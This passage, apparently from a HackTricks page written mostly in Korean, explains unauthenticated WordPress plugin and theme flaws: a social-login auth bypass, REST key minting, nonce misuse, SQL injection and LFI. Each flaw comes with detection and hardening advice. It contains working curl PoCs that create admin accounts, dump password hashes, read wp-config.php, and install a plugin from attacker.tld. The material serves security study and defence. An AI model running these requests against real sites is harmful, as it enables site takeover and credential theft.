// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Why it’s exploitable
- admin-ajax.php를 통해 인증 없이 접근 가능 (wp_ajax_nopriv_… action).
- 상태 변경 전에 nonce/capability 검증이 없음.
- OAuth/OpenID provider 검증 누락; 기본 분기(default branch)가 공격자 입력을 수용함.
- get_user_by(‘email’, $_POST[‘id’]) 다음에 wp_set_auth_cookie($uid)가 호출되면 요청자를 기존 이메일 주소의 계정으로 인증시킴.
Exploitation (unauthenticated)
- Prerequisites: 공격자가 /wp-admin/admin-ajax.php에 접근 가능하고 유효한 사용자 이메일을 알고 있거나 추측할 수 있음.
- provider를 지원되지 않는 값으로 설정(또는 생략)하여 기본 분기(default branch)를 타게 하고 id=<victim_email>를 전달.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Expected success indicators
- HTTP 200 with JSON body like {“status”:“success”,“message”:“Login successfully.”}.
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
Finding the action name
- 테마/플러그인에서 social login 코드의 add_action(‘wp_ajax_nopriv_…’, ‘…’) 등록을 확인 (예: framework/add-ons/social-login/class-social-login.php).
- AJAX 핸들러 내부에서 wp_set_auth_cookie(), get_user_by(‘email’, …) 등을 grep로 검색.
Detection checklist
- /wp-admin/admin-ajax.php에 대해 social-login action과 id=
을 포함한 인증되지 않은 POST가 웹 로그에 기록됨. - 동일 IP/User-Agent에서 성공 JSON을 반환한 200 응답 직후 인증된 트래픽 발생.
Hardening
- 클라이언트 입력으로 신원을 유추하지 마라. 이메일/ID는 검증된 provider 토큰/ID에서만 수용한다.
- 로그인 헬퍼에도 CSRF nonce와 capability 체크를 요구하라; 불필요한 경우 wp_ajax_nopriv_ 등록을 피하라.
- OAuth/OIDC 응답을 서버사이드에서 검증하고 확인하라; 제공자 누락/잘못된 경우(POST id로 폴백하지 말고) 거부하라.
- 임시로 social login을 비활성화하거나 엣지에서 가상 패치(취약 action 차단)하여 수정될 때까지 차단을 고려하라.
Patched behaviour (Jobmonster 4.8.0)
- $_POST[‘id’]의 불안전한 폴백을 제거함; $user_email은 switch($_POST[‘using’])의 검증된 provider 분기에서 유래해야 함.
Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
일부 플러그인은 호출자의 권한을 검증하지 않고 재사용 가능한 “connection keys” 또는 토큰을 발급하는 REST 엔드포인트를 노출한다. 경로가 추측 가능한 속성(예: username)만으로 인증하고, key를 current_user_can() 또는 엄격한 permission_callback과 같은 사용자/세션에 바인딩하지 않으면, 인증되지 않은 공격자가 키를 발급해 내부 권한 동작(관리자 계정 생성, 플러그인 동작 → RCE)을 실행할 수 있다.
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC – 연결 키를 발급한 뒤 사용하기
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
취약한 이유
- 민감한 REST 경로가 엔트로피가 낮은 식별 증명(username)에 의해서만 보호되거나 permission_callback이 누락됨
- 권한 검사 없음; 발급된 키가 범용 우회로로 수용됨
탐지 체크리스트
- plugin 코드에서 register_rest_route(…, [ ‘permission_callback’ => ‘__return_true’ ]) 를 grep
- 요청으로 제공된 식별 정보(username/email)를 바탕으로 tokens/keys를 발급하되 인증된 사용자나 권한에 묶지 않는 모든 경로
- 서버 측 권한 검사 없이 발급된 token/key를 수용하는 이후의 경로를 찾아라
보안 강화
- 권한이 필요한 REST 경로에는 해당 capability에 대해 current_user_can()을 강제하는 permission_callback 필요
- 클라이언트 제공 식별로 장기 키를 발급하지 말 것; 필요하면 인증 후 단기간, 사용자 바인딩된 토큰을 발급하고 사용 시 권한을 재검사
- 호출자의 사용자 컨텍스트를 검증 (wp_set_current_user만으로는 불충분) 하고 !is_user_logged_in() || !current_user_can(
) 인 요청은 거부
Nonce 게이트 오용 → 인증되지 않은 임의의 plugin 설치 (FunnelKit Automations ≤ 3.5.3)
Nonces는 CSRF를 방지할 뿐 authorization을 보장하지 않는다. 코드가 nonce 통과를 승인 신호로 처리하고 권한이 필요한 작업(예: install/activate plugins)에 대한 capability 검사를 건너뛰면, 인증되지 않은 공격자는 약한 nonce 요건을 충족시켜 백도어 또는 취약한 plugin을 설치함으로써 RCE에 이를 수 있다.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can(‘install_plugins’|‘activate_plugins’) once nonce “passes”
- Impact: full compromise via arbitrary plugin install/activation
PoC (shape depends on plugin; illustrative only)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Detection checklist
- 플러그인/테마를 수정하는 REST/AJAX 핸들러가 wp_verify_nonce()/check_admin_referer()만 사용하고 권한 검사 없음
- nonce 검증 후 $skip_caps = true로 설정되는 모든 코드 경로
Hardening
- nonces를 항상 CSRF 토큰으로만 취급하세요; nonce 상태와 관계없이 권한 검사를 시행하세요
- installer code에 도달하기 전에 current_user_can(‘install_plugins’) 및 current_user_can(‘activate_plugins’)를 요구하세요
- 인증되지 않은 접근을 거부하세요; 권한이 필요한 흐름에 대해 nopriv AJAX actions를 노출하지 마세요
depicter-* actions의 s (search) 파라미터를 통한 인증되지 않은 SQLi (Depicter Slider ≤ 3.6.1)
여러 depicter-* actions가 s (search) 파라미터를 받아 파라미터화 없이 SQL 쿼리에 문자열로 연결했습니다.
- 파라미터: s (search)
- 결함: WHERE/LIKE clauses에서 직접 문자열 연결; prepared statements/sanitization 없음
- 영향: database exfiltration (users, hashes), lateral movement
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
탐지 체크리스트
- Grep for depicter-* action handlers 및 SQL에서 $_GET[‘s’] 또는 $_POST[‘s’]의 직접 사용 검색
- $wpdb->get_results()/query()에 s를 연결하여 전달되는 커스텀 쿼리 검토
하드닝
- 항상 $wpdb->prepare() 또는 wpdb placeholders 사용; 서버 측에서 예상치 않은 메타문자(reject unexpected metacharacters) 차단
- s에 대해 엄격한 allowlist 추가 및 예상 charset/length로 정규화
인증되지 않은 Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
검증/제한 없이 template 파라미터에 공격자가 제어하는 경로를 허용하면 임의의 로컬 파일을 읽을 수 있으며, 포함 가능한 PHP/log 파일이 런타임에 포함될 경우 특정 환경에서 code execution이 발생할 수 있습니다.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: 정규화/허용목록 없음; traversal permitted
- Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)
PoC – wp-config.php 읽기
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
탐지 체크리스트
- realpath() containment 없이 request 경로를 include()/require()/read sink에 연결(concatenating)하는 모든 handler
- 의도한 templates 디렉토리 바깥으로 벗어나는 traversal 패턴(../)을 찾아라
보안 강화
- 허용된(allowlisted) templates를 강제 적용; realpath()로 해석하고 require str_starts_with(realpath(file), realpath(allowed_base))
- 입력을 정규화(normalize)하고 traversal 시퀀스 및 절대 경로를 차단(reject); sanitize_file_name()은 파일명에만 사용(전체 경로에는 사용 금지)
References
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
- FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks

